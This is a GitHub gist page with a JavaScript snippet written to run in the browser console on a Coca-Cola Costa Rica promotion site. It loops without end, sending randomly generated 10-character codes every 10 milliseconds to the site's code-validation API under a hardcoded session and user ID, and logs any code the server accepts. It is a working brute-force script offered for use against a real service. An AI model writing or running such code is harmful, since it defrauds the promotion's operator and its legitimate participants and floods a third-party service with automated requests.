Skip to content

Instantly share code, notes, and snippets.

@franciscocorrales
Last active February 27, 2020 21:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save franciscocorrales/cd42ca60e5c0ae01f424b1083c6b6aa1 to your computer and use it in GitHub Desktop.
Save franciscocorrales/cd42ca60e5c0ae01f424b1083c6b6aa1 to your computer and use it in GitHub Desktop.
Coca Cola
/**
Page to run at: https://promo.coca-cola.co.cr/inicio
Valid Code Response:
{"errorId":0,"errorMessage":"Se realizó la operación con éxito"}
Invalid Code Response:
{"errorId":10,
**/
var sessionId = "XIEPVUGH4WQDZPAYWLOTRWBLTNIJQ40C";
// Code format is numberic of 10 digits or letters.
function generateCode() {
var length = 10;
var result = '';
var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
var charactersLength = characters.length;
for ( var i = 0; i < length; i++ ) {
result += characters.charAt(Math.floor(Math.random() * charactersLength));
}
return result;
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
while(true) {
await sleep(10); // miliseconds
var url = "https://promo.coca-cola.co.cr/api/ValidateCodeFirst";
var referrer = "https://promo.coca-cola.co.cr/inicio";
var body = "pincode=" + generateCode() + "&iniciative=CR&sessionId=" + sessionId + "&userId=%2FjDuOlKEhWs6SbZaVcMdMQ%3D%3D";
var headers = {"accept":"application/json; charset=utf-8","accept-language":"en-US,en;q=0.9,es;q=0.8","content-type":"application/x-www-form-urlencoded","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"same-origin"};
var options = {
"credentials": "include",
"headers": headers,
"referrer": referrer,
"referrerPolicy": "no-referrer-when-downgrade",
"body": body,
"method": "POST",
"mode": "cors"
};
var test = await fetch(url, options);
var json = await test.json();
if (json.errorId == 0) { console.log(json); }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment